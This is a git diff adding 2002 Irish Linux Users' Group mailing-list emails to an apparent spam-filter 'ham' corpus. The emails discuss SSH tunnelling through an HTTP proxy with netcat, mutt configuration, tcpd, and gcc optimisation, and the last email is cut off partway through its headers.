+Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00125.e6d80b873b71ae5324679a4dbefe4eaf b/bayes/spamham/easy_ham_2/00125.e6d80b873b71ae5324679a4dbefe4eaf new file mode 100644 index 0000000..70db668 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00125.e6d80b873b71ae5324679a4dbefe4eaf @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E5E6C440FA + for ; Mon, 29 Jul 2002 06:25:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RHQki13906 for + ; Sat, 27 Jul 2002 18:26:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA24235; Sat, 27 Jul 2002 18:25:14 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA24202 for ; Sat, + 27 Jul 2002 18:25:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A00036FFE for ilug@linux.ie; Sat, 27 Jul 2002 18:25:06 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 666) id + A42E3DA4A; Sat, 27 Jul 2002 18:25:06 +0100 (IST) +Date: Sat, 27 Jul 2002 18:25:06 +0100 +From: =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= +To: Irish Linux Users Group +Subject: Re: [ILUG] putty + proxy goodness +Message-Id: <20020727182506.A28835@prodigy.Redbrick.DCU.IE> +References: <20020727140613.GA32647@skynet.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020727140613.GA32647@skynet.ie>; from diamond@skynet.ie on + Sat, Jul 27, 2002 at 03:06:15PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Jul 27, 2002 at 03:06:15PM +0100, Stephen Shirley wrote: +> Mornin' all, +> I'm running one of the development snapshots of putty, and i just +> noticed a very handy new feature: builtin proxy support. This means that +> people like me can connect to external hosts using ssh via a http proxy. + +sort of. Squid, and most other good http proxies won't let you connect +to any other destination port other than 443 (by default). So the sshd +has to be listening on port 443. PuTTy's proxy support is a bit flaky +right now, the raw connects are a bit flaky aswell, I can't get them +to work with certain revisions of IOS becuase they use different prompts +and success strings, gah! I havnt played with the SOCKS proxy support +much yet, but it's there. + +If you're trying to SSH through a http proxy, use netcat :) +PuTTy's proxy stuff will take another few weeks to get stable, and +currently it won't send keepalives, so if you go afk expect your +session to get killed by the proxy. Netcat send keepalives +which prevent this :) + +# +# call as http_proxy_tunnel host port +# +function http_proxy_tunnel() +{ + mkfifo in.fifo + + ( echo CONNECT $1:$2 HTTP/1.1 + echo HOST: $1:$2 + echo HTTP/1.1 + echo + cat in.fifo ) | nc myproxy 3128 | (read ; read ; nc -lp > in.fifo ) +} + + +course that assumes you have bash, I use cygwin, but the above should be +doable natively, then again if you have cygwin, use OpenSSH and it's +excellently configurable proxycmd :) + +-- +colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie +Web: http://devnull.redbrick.dcu.ie/ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00126.0b7d3ede2d98218008cdb359d9f9b708 b/bayes/spamham/easy_ham_2/00126.0b7d3ede2d98218008cdb359d9f9b708 new file mode 100644 index 0000000..0684a37 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00126.0b7d3ede2d98218008cdb359d9f9b708 @@ -0,0 +1,91 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A13D94414F + for ; Mon, 29 Jul 2002 06:25:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:11 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RHn7i17130 for + ; Sat, 27 Jul 2002 18:49:07 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA25016; Sat, 27 Jul 2002 18:45:03 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail1.mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA24977 for ; + Sat, 27 Jul 2002 18:44:56 +0100 +Received: from dialup125-a.ts551.cwt.esat.net ([193.203.140.125] + helo=Hobbiton.cod.ie) by mail1.mail.iol.ie with esmtp (Exim 3.35 #1) id + 17YVVF-0001W4-00 for ilug@linux.ie; Sat, 27 Jul 2002 18:37:18 +0100 +Received: (from cdaly@localhost) by Hobbiton.cod.ie (8.11.6/8.9.3) id + g6RDRoO04681 for ilug@linux.ie; Sat, 27 Jul 2002 14:27:50 +0100 +Date: Sat, 27 Jul 2002 14:27:49 +0100 +From: Conor Daly +To: ILUG main list +Subject: Re: [ILUG] Architecture crossover trouble w RH7.2 (solved) +Message-Id: <20020727142749.B4438@Hobbiton.cod.ie> +Mail-Followup-To: ILUG main list +References: <0D443C91DCE9CD40B1C795BA222A729E018854FA@milexc01.maxtor.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <0D443C91DCE9CD40B1C795BA222A729E018854FA@milexc01.maxtor.com>; + from conor_wynne@maxtor.com on Fri, Jul 26, 2002 at 03:56:22PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 26, 2002 at 03:56:22PM +0100 or so it is rumoured hereabouts, +Wynne, Conor thought: +> Surely it would be faster to save you conf files, install it on the box +> again, copy back you confs and voila. +> All you car about are the confs as the boite has no DATA right? + +Yeah, but then I'd have to remember _exactly_ which confs I'd modified and +they're not all in /etc either... + +> Thats what I would do, but you sysadmins have to make life as difficult & +> complicated as possible ;--) + +Yup... In this case, I had two issues. 1. I mirrored the disk to give to +someone else to work on but the box he has available has only a P1 or P2 +processor. 2. My celeron box has been crashing the backup software so I +wanted to try out the backup in a different box to make sure it's hardware +related. Again, it's also an interesting exercise... + +> Have you thought about mirroring the system drives? Might save you serious +> hassle down the line. + +Oh, I'm doing that too. This is going to Africa so I'm aiming for as +robust as possible with belt, braces and probably an all-in-one jumpsuit! +I'll be mirroring the disk but that is worth only so much (eg. lightning +strike taking out the disk(s) or system compromise) I'm also going for a +backup to CDR with an automated restore http://www.mondorescue.org . The +admin out there wouldn't be able to build the system again if the mobo got +fried and the replacement was the wrong arch but an i386 compatible +install will mean just dropping in the HD and booting (ish)... + +Conor +-- +Conor Daly + +Domestic Sysadmin :-) +--------------------- +Faenor.cod.ie + 2:32pm up 64 days, 23:49, 0 users, load average: 0.00, 0.00, 0.00 +Hobbiton.cod.ie + 2:19pm up 7 days, 20:56, 1 user, load average: 0.05, 0.02, 0.00 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00127.3ac4ea08d4a80af1f6de12b96d650bdd b/bayes/spamham/easy_ham_2/00127.3ac4ea08d4a80af1f6de12b96d650bdd new file mode 100644 index 0000000..797b543 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00127.3ac4ea08d4a80af1f6de12b96d650bdd @@ -0,0 +1,93 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6014E440F9 + for ; Mon, 29 Jul 2002 06:25:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RIJsi20324 for + ; Sat, 27 Jul 2002 19:19:54 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA26068; Sat, 27 Jul 2002 19:15:55 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA26032 for ; + Sat, 27 Jul 2002 19:15:46 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6RIFix19140 for ; + Sat, 27 Jul 2002 19:15:44 +0100 +Date: Sat, 27 Jul 2002 19:15:43 +0100 +To: irish linux users group +Message-Id: <20020727191542.A19057@ie.suberic.net> +References: <20020726182224.GA6308@dangerousideas.com> + <20020727165855.GG12078@vipersoft.co.uk> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from s1118644@mail.inf.tu-dresden.de on Sat, Jul 27, 2002 at 07:08:57PM + +0200 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Subject: [ILUG] Re: Mutt + Outbox +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +saw this on mutt users. might be a handy trick for those of with +hyperactive archiving genes... :) + +this might work better in this long run though: + + set record='~/Mail/outbox-`date "+%Y-%m"`' + +On Sat, Jul 27, 2002 at 07:08:57PM +0200, Rocco Rutte wrote: +> Hi, +> +> * Dean Richard Benson [02-07-27 19:05:49 +0200] wrote: +> +> [...] +> > So in my mutt config file I have this: +> > set record=Mail/outbox +> +> > ..that works a treat, except that its starting to grow a +> > little (after 4 months), and I think maybe the ability to +> > have an outbox folder and then for the above command to +> > auto-assign to the correct month? +> +> What about: +> +> set record='~/Mail/outbox-`date "+%m"`' +> +> You could also leave it as it currently is and use the +> function to view only mails within a specific +> date range. +> +> bye, Rocco +> + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00128.2d0445f396770a673681019d0fbbf4c7 b/bayes/spamham/easy_ham_2/00128.2d0445f396770a673681019d0fbbf4c7 new file mode 100644 index 0000000..363075f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00128.2d0445f396770a673681019d0fbbf4c7 @@ -0,0 +1,54 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 11E0144150 + for ; Mon, 29 Jul 2002 06:25:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RJ2Ki22537 for + ; Sat, 27 Jul 2002 20:02:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA27813; Sat, 27 Jul 2002 19:58:19 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from odin.he.net (odin.he.net [216.218.181.2]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA27789 for ; + Sat, 27 Jul 2002 19:58:12 +0100 +Received: from renegade (c-24-127-153-207.we.client2.attbi.com + [24.127.153.207]) by odin.he.net (8.8.6/8.8.2) with SMTP id LAA32572 for + ; Sat, 27 Jul 2002 11:58:09 -0700 +From: "Paul O'Neil" +To: "irish linux users group" +Date: Sat, 27 Jul 2002 11:58:10 -0700 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Importance: Normal +In-Reply-To: <20020727191542.A19057@ie.suberic.net> +Subject: [ILUG] tcpd +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +If I want to use tcpd for ftp and only one user will ever ftp but I dont +know what IP that user is because its dialup DHCP how do I setup tcpd for +that user? + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00129.9f6d0c629e16372a804ec15ea8cd89a8 b/bayes/spamham/easy_ham_2/00129.9f6d0c629e16372a804ec15ea8cd89a8 new file mode 100644 index 0000000..c4c5b22 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00129.9f6d0c629e16372a804ec15ea8cd89a8 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A4C9244151 + for ; Mon, 29 Jul 2002 06:25:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RJaYi23908 for + ; Sat, 27 Jul 2002 20:36:34 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA29064; Sat, 27 Jul 2002 20:31:00 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA29029 for ; + Sat, 27 Jul 2002 20:30:52 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6RJUpx19945 for ; + Sat, 27 Jul 2002 20:30:51 +0100 +Date: Sat, 27 Jul 2002 20:30:49 +0100 +To: irish linux users group +Subject: Re: [ILUG] tcpd +Message-Id: <20020727203049.A19694@ie.suberic.net> +References: <20020727191542.A19057@ie.suberic.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from poneil@dbiassociates.net on Sat, Jul 27, 2002 at 11:58:10AM -0700 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Jul 27, 2002 at 11:58:10AM -0700, Paul O'Neil wrote: +> If I want to use tcpd for ftp and only one user will ever ftp but I dont +> know what IP that user is because its dialup DHCP how do I setup tcpd for +> that user? + +please don't reply to messages to send a new topic to ilug. those of +us using threaded mail clients find that really annoying. + +tcpd is host based filtering/auth. so if the ip is dynamic, you can't +really use it. however ftp supports user based auth - actually it kind +of requires a user, so just set up an account for that person. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00130.b7ff6705a1318fb9bc7e557886ef4bd1 b/bayes/spamham/easy_ham_2/00130.b7ff6705a1318fb9bc7e557886ef4bd1 new file mode 100644 index 0000000..5735eba --- /dev/null +++ b/bayes/spamham/easy_ham_2/00130.b7ff6705a1318fb9bc7e557886ef4bd1 @@ -0,0 +1,109 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5184A440FB + for ; Mon, 29 Jul 2002 06:25:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:14 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6S2jsi13115 for + ; Sun, 28 Jul 2002 03:45:54 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id DAA10880; Sun, 28 Jul 2002 03:44:08 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from escargot.esatclear.ie (escargot.esatclear.ie + [194.145.128.30]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id DAA10838 + for ; Sun, 28 Jul 2002 03:43:54 +0100 +Received: from esatclear.ie (h-airlock084.esatclear.ie [194.165.161.84]) + by escargot.esatclear.ie (8.9.3/8.9.3) with ESMTP id DAA29020 for + ; Sun, 28 Jul 2002 03:43:52 +0100 +Message-Id: <3D4359EE.9050405@esatclear.ie> +Date: Sun, 28 Jul 2002 03:41:50 +0100 +From: Paul Kelly +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020725 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] Optimizing for Pentium Pt.2 +References: <200207262228.XAA19581@lugh.tuatha.org> + <20020727015716.A6561@ie.suberic.net> + <200207271701.SAA23172@lugh.tuatha.org> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +John Gay wrote: +> looking into these things. As Isaid, the PGCC site does not seem to have been +> updated in at least a year or more?!? I am also looking into GCC itself. Now +> that the 3.1. series is out, it might be better than when the PGCC patches +> were written + +gcc has been as good as or better than pgcc for quite a while. pgcc was +was written back in the days when gcc splintered due to a perception of +slow progress on the main branch. A number of Linux distributions wound +up using egcs, partly derived from the pgcc work as I recall. Happiness +was restored to the world with gcc 2.95 and later. + + > The bottom line is, Pentiums have better instruction sets than +> the original 386 instructions that they still support. + +Not really, no. The only instruction of consequence (to gcc anyway) +since the i386 was the CMOV introduced with the Pentium Pro. gcc 2.95 +will use that instruction if directed to with -march=pentiumpro and you +will generally get a few percent improvement out of it. Code compiled +with that option will fail on Pentium and earlier processors. + +> The Pentium also +> started introducing pipelining so properly generated code can be upto 30% +> faster than equivulent code that performs the same function! + +That's the art of instruction scheduling - rearranging the instructions +generated by the compiler such that they make best use of the parallel +("superscalar") pipelines present in a modern CPU. gcc 2.95 has a fair +go at scheduling according to the -mcpu=pentium/pentiumpro option. gcc +3.1 does a better job, and fine tunes for a few more processors such as +athlon and athlon-xp. They're in the process of replacing the compiler's +instruction scheduling with a whole new mechanism that should do an even +better job, but that's a ways down the road yet in gcc 3.3. + +As for the exotic extra instructions sets, gcc 3.1 will make use of SSE +or SSE2 instructions instead of 387 instructions if you use the +-mfpmath=sse option and you may see some speed benefit from it, but +there's a chance you may also see incompatibilities. gcc will still use +i387 code for missing functionality in the SSE instruction set (double +precision floats for example). + +AFAIK no current gcc will ever use MMX or 3DNOW! instructions though gcc +3.1 enables user code to explicitly generate these instructions with C +code. The kernel sometimes uses these instruction sets to get super-fast +block copies of memory or RAID math but not much else. + +> Not sure what improvements the P4 introduce? I think it's mostly just speed +> improvements rather than any execution changes. + +P4 introduced SSE2, a _MUCH_ improved version of SSE and a viable +replacement for i387 FPU code. SSE supports only single precision floats +while SSE2 can handle doubles. MMX and SSE shared registers with the FPU +which hobbles them a bit, but SSE2 has its own large, dedicated register +file. So far P4 is the only CPU equipped with SSE2. AMD's x86-64 CPUs +are said to have it as well. Of course x86-64 itself is a whole other +ball game... + +Paul. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00131.4d06fea0c1c9623082010e4f5d9815b1 b/bayes/spamham/easy_ham_2/00131.4d06fea0c1c9623082010e4f5d9815b1 new file mode 100644 index 0000000..c8db594 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00131.4d06fea0c1c9623082010e4f5d9815b1 @@ -0,0 +1,105 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1FDD044152 + for ; Mon, 29 Jul 2002 06:25:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:15 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6SFRPi10957 for + ; Sun, 28 Jul 2002 16:27:25 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA10247; Sun, 28 Jul 2002 16:22:18 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id QAA10213 for ; Sun, + 28 Jul 2002 16:22:13 +0100 +Message-Id: <200207281522.QAA10213@lugh.tuatha.org> +Received: (qmail 18612 messnum 1118184 invoked from + network[159.134.159.33/p289.as1.drogheda1.eircom.net]); 28 Jul 2002 + 15:21:42 -0000 +Received: from p289.as1.drogheda1.eircom.net (HELO there) (159.134.159.33) + by mail04.svc.cra.dublin.eircom.net (qp 18612) with SMTP; 28 Jul 2002 + 15:21:42 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: John Gay +To: ilug@linux.ie +Date: Sun, 28 Jul 2002 12:28:05 +0100 +X-Mailer: KMail [version 1.3.2] +References: <200207280529.GAA17323@lugh.tuatha.org> +In-Reply-To: <200207280529.GAA17323@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] Re: ILUG digest, Vol 1 #2734 - 11 msgs +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun 28 Jul 2002 06:29, ilug-admin@linux.ie wrote: +> Message: 3 +> From: "John Moran" +> To: "ILUG" +> Subject: RE: [ILUG] Optimizing for Pentium Pt.2 +> Date: Sat, 27 Jul 2002 17:10:39 +0100 +> +> gcc, glibc and binutils, which the lfs site says not to optimise, +> already determines what system you're compiling on, and optimises itself +> to that. That's my understanding of how it works anyway. +> +> John +> +> Subject: Re: [ILUG] Optimizing for Pentium Pt.2 + +That was my understanding too, but I since fould out that for Linux: + +Most programs and libraries by default are compiled with optimizing level 2 +(gcc options -g and -O2) and are compiled for a specific CPU. On Intel +platforms software is compiled for i386 processors by default. If you don't +wish to run software on other machines other than your own, you might want to +change the default compiler options so that they will be compiled with a +higher optimization level, and generate code for your specific architecture. + +Therefore: + + export CFLAGS="-O3 -march=" && + CXXFLAGS=$CFLAGS + +This is a minimal set of optimizations that ensures it works on almost all +platforms. The option march will compile the binaries with specific +instructions for that CPU you have specified. This means you can't copy this +binary to a lower class CPU and execute it. + +So these are the optimizations I need to worry about, and the optimizations +that lfs says to disable before compiling GCC or GlibC. However, GlibC seems +the most likely candidate for optimization since it provides the libs used by +even the most simple programs to access system calls in the kernel. + +I'm still waiting for info from the GCC mailing list RE: optimising/patching +GCC for performance improvement. So far the only suggestion has been to try +using icc, Intels C compiler. It's known to work with the kernel, but user +apps, and I guess libs and such might need rewriting to compile, and I'm not +prepared to go to this length. + +For QT and KDE it seems there are also gains to be made with object +pre-linking, but there are also risks with this so I'll just have to suck it +and see. Either way, I'm going to get started building the base today. I'm +still waiting for some DRI patches for my GVX1 card but it'll probably been +several days before I'm ready to build X anyway. + +Cheers, + + John Gay + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00132.45a855fd256c018dd4232353b72ae9ec b/bayes/spamham/easy_ham_2/00132.45a855fd256c018dd4232353b72ae9ec new file mode 100644 index 0000000..9354b85 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00132.45a855fd256c018dd4232353b72ae9ec @@ -0,0 +1,163 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D50C3440FC + for ; Mon, 29 Jul 2002 06:25:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:15 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6SICqi17564 for + ; Sun, 28 Jul 2002 19:12:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA18379; Sun, 28 Jul 2002 19:09:45 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA18344 for ; + Sun, 28 Jul 2002 19:09:31 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6SI9UC05192 for ; + Sun, 28 Jul 2002 19:09:30 +0100 +Date: Sun, 28 Jul 2002 19:09:29 +0100 +To: irish linux users group +Message-Id: <20020728190929.B2315@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Subject: [ILUG] weekend projects... +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 